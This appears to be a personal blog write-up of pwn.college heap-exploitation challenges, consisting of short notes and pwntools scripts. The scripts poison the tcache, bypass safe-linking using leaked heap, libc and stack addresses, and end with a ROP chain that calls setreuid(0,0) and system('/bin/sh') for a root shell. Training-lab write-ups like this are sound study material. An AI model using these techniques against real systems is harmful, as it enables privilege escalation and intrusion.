easy

Safely Stack Summoing (Easy)

make stack???

We can overwrite secret or puts it

save secret at rbp - 0xaf

stack_scanf at rbp - 0x170

stack_free at rbp - 0x130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In [3]: from pwn import *
...: offset = 0x170 - (0x130 +0x8)
...: def cyc():
...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n')
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_scanf")
...:
...: p.sendline(b"k"*offset +p64(0x91))
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_free")
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"malloc \n 0 \n128\n")
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"scanf \n 0")
...: p.sendline(b"k"*(0x81+0x10))
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"send_flag\n")
...: p.sendline(b'k'*0x10)
...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q")
...: p = process('/challenge/safely-stack-summoning-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Safely Stack Summoing (Hard)

Exploitation

Overlapping Odyssey (Easy)

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/

malloc记录的可读写长度比实际分配多 16 字节

free and set *ptr = 0LL,but data still saved

看看这个

read_flag funtion

ok

after >>12, the *next(8bytes) is 5bytes

error

find

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
In [4]: from pwn import *
...: context.log_level = 'debug'
...: secret_addr = 0x4292e0
...: def cyc():
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 0\n 30\n')
...: #p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 1\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'free\n 0\n ')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 0\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'safe_write\n 0 \n')
...: p.recvuntil(b"[*] safe_write(allocations[0])\n")
...: #p.recvline()
...: #p.recvline()
...: en_next = u64(p.recv(5).ljust(8,b"\x00"))
...: print("en_next: ", hex(en_next))
...: heap_base_addr = en_next << 12
...: print("heap_base_addr",hex(heap_base_addr))
...: print("chunk1",hex(heap_base_addr+0x8e0))
...: print("9_n",hex((heap_base_addr >> 12) ^ (heap_base_addr + 0x8e0)))
...: #next_p = (heap_base_addr >> 12)^leak_stack
...: #gdb.attach(p)
...: #pause()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 1\n 952\n')
...: #p.interactive()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 2\n 944\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 3\n944\n ')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'free\n 3\n ')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'free\n 2\n ')
...: #pause()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'safe_read \n1 ')
...: p.recvuntil(b"Index: ")
...: p.send(b'k'*0x3b8 + p64(0x3c0) + p64((heap_base_addr >> 12) ^ (heap_base_addr + 0x8e0)))
...: #p.interactive()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 2\n 944\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'read_flag\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'safe_write\n 1 \n')
...:
...: p = process('/challenge/overlapping-odyssey-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Overlapping Odyssey (Hard)

when free malloc(440) in easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
In [3]: from pwn import *
...: context.log_level = 'debug'
...: secret_addr = 0x4292e0
...: def cyc():
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 0\n 30\n')
...: #p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 1\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'free\n 0\n ')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 0\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'safe_write\n 0 \n')
...: #p.recvuntil(b"[*] safe_write(allocations[0])\n")
...: p.recvuntil(b"Index: ")
...: p.recvline()
...: #p.recvline()
...: en_next = u64(p.recv(5).ljust(8,b"\x00"))
...: print("en_next: ", hex(en_next))
...: heap_base_addr = en_next << 12
...: print("heap_base_addr",hex(heap_base_addr))
...: print("chunk1",hex(heap_base_addr+0x8e0))
...: print("9_n",hex((heap_base_addr >> 12) ^ (heap_base_addr + 0x8e0)))
...: #next_p = (heap_base_addr >> 12)^leak_stack
...: #gdb.attach(p)
...: #pause()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 1\n 440\n')
...: #p.interactive()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 2\n 432\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 3\n432\n ')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'free\n 3\n ')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'free\n 2\n ')
...: #pause()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'safe_read \n1 ')
...: p.recvuntil(b"Index: ")
...: p.send(b'k'*0x1b8 + p64(0x1c0) + p64((heap_base_addr >> 12) ^ (heap_base_addr + 0x8e0)))
...: #p.interactive()
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'malloc\n 2\n 432\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'read_flag\n')
...: p.sendafter(b'[*] Function (malloc/free/read_flag/safe_write/safe_read/quit):', b'safe_write\n 1 \n')
...:
...: p = process('/challenge/overlapping-odyssey-hard')
...: #out = b''
...: cyc()
...: p.interactive()

Tcache Terror (Easy)

add a rop

&environ is at here

It pointer to stack

Utilize libc_base_addr to get &environ

leak heap_base_addr

error

the *ptr is at 0x5583fbe4c358

utilize tele to search in [heap]

the main_ret is at stack_addr - 0x120

good

???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
In [3]: from pwn import *
...: #context.log_level = 'debug'
...: context.arch = "amd64"
...: p = process('/challenge/tcache-terror-easy')
...: libc = ELF('/challenge/lib/libc.so.6')
...: def malloc(idx,size):
...: p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
...: p.sendline(b"malloc")
...: p.recvuntil(b"Index: ")
...: p.sendline(str(idx).encode())
...: p.recvuntil(b"Size: ")
...: p.sendline(str(size).encode())
...:
...: def free(idx):
...: p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
...: p.sendline(b"free")
...: p.recvuntil(b"Index: ")
...: p.sendline(str(idx).encode())
...:
...: def safe_write(idx):
...: p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
...: p.sendline(b"safe_write")
...: p.recvuntil(b"Index: ")
...: p.sendline(str(idx).encode())
...:
...: def safe_read(idx,content):
...: p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
...: p.sendline(b"safe_read")
...: p.recvuntil(b"Index: ")
...: p.sendline(str(idx).encode())
...: p.send(content)
...: malloc(0, 0x20)
...: free(0)
...: malloc(0, 0x20)
...: safe_write(0)
...: p.recvline()
...: p.recvline()
...: en_next = u64(p.recv(5).ljust(8,b'\x00'))
...: print("en_next: ", hex(en_next))
...: heap_base_addr = en_next << 12
...: print("heap_base_addr",hex(heap_base_addr))
...: malloc(0, 0x38)
...: malloc(1, 0x38)
...: malloc(2, 0x38)
...: free(2)
...: free(1)
...: pause()
...: safe_read(0, b'a'*0x38 + p64(0x41) + p64((heap_base_addr >> 12) ^ (heap_base_addr + 0x340)))
...: malloc(1, 0x38)
...: malloc(3, 0x38)
...: safe_read(3,b'a'*0x18)
...: safe_write(3)
...: p.recvline()
...: p.recvline()
...: p.recv(0x18)
...: libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x21a6a0
...: print("libc_base_addr:",hex(libc_base))
...: pause()
...: environ_addr = libc_base + 0x221200
...: malloc(0, 0x38)
...: malloc(1, 0x38)
...: malloc(2, 0x38)
...: free(2)
...: free(1)
...: safe_read(0, b'a'*0x38 + p64(0x41) + p64((heap_base_addr >> 12) ^ environ_addr))
...: malloc(1, 0x38)
...: malloc(3, 0x38)
...: safe_write(3)
...: p.recvline()
...: p.recvline()
...: stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
...: print("stack_addr:",hex(stack_addr))
...: ret_addr = stack_addr-0x120
...: print("ret_addr:",hex(ret_addr))
...: pause()
...: malloc(0, 0x38)
...: malloc(1, 0x38)
...: malloc(2, 0x38)
...: free(2)
...: free(1)
...: safe_read(0, b'a'*0x38 + p64(0x41) + p64((heap_base_addr >> 12) ^ (ret_addr - 0x8)))
...: malloc(1, 0x38)
...: malloc(3, 0x38)
...: libc.address = libc_base
...: sys_addr = libc.symbols['system']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...: print("setreuid_addr", hex(setreuid_addr))
...: print("binsh_addr", hex(binsh_addr))
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...:
...: safe_read(3, p64(0xdeadbeef) + rop.chain())
...: p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
...: p.sendline(b'quit')
...: #out =
...: p.interactive()

Tcache Terror (Hard)

find *ptr at [heap]


pwn.college-pro sec-_Dynamic Allocator Misuse
https://ghostshark-pro.github.io/2026/04/23/pwn.college-pro sec-_Dynamic Allocator Misuse/
Author
shark
Posted
2026年4月23日
License